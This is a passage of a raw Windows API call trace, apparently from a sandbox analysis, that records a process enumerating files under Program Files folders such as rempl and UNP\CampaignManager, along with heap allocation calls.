lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f0d4ff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f0d4ff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0237.523] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f33762, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f33762, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0237.524] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0237.525] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f599bf, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51f599bf, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x86093000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x139000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0237.525] GetProcessHeap () returned 0xc10000 [0237.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0237.525] GetProcessHeap () returned 0xc10000 [0237.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0237.527] GetProcessHeap () returned 0xc10000 [0237.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0237.527] GetProcessHeap () returned 0xc10000 [0237.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0237.528] GetProcessHeap () returned 0xc10000 [0237.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0237.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\rempl\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0237.532] GetProcessHeap () returned 0xc10000 [0237.532] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0237.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\rempl\\Logs\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0237.539] GetProcessHeap () returned 0xc10000 [0237.539] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0237.539] GetProcessHeap () returned 0xc10000 [0237.539] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0237.540] GetProcessHeap () returned 0xc10000 [0237.540] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0237.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe8c055b1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c055b1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0237.553] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13cbb0, ftCreationTime.dwHighDateTime=0x1d565a9, ftLastAccessTime.dwLowDateTime=0x6abcc500, ftLastAccessTime.dwHighDateTime=0x1d5a6c2, ftLastWriteTime.dwLowDateTime=0x6abcc500, ftLastWriteTime.dwHighDateTime=0x1d5a6c2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 0 [0237.553] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0237.553] GetProcessHeap () returned 0xc10000 [0237.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0237.554] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UNP", cAlternateFileName="")) returned 1 [0237.554] GetProcessHeap () returned 0xc10000 [0237.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0237.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0237.573] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.573] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="CampaignManager", cAlternateFileName="CAMPAI~1")) returned 1 [0237.574] GetProcessHeap () returned 0xc10000 [0237.574] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0237.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0237.741] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.741] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xce2469cc, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignCatalog.json", cAlternateFileName="CAMPAI~1.JSO")) returned 1 [0237.741] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 1 [0237.741] GetProcessHeap () returned 0xc10000 [0237.741] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0237.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0237.743] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.743] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 1 [0237.743] GetProcessHeap () returned 0xc10000 [0237.743] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0237.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0237.746] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.746] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x90d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config_131491847713900000.json", cAlternateFileName="CONFIG~1.JSO")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content1", cAlternateFileName="")) returned 1 [0237.747] GetProcessHeap () returned 0xc10000 [0237.747] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0237.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0237.759] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.762] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, 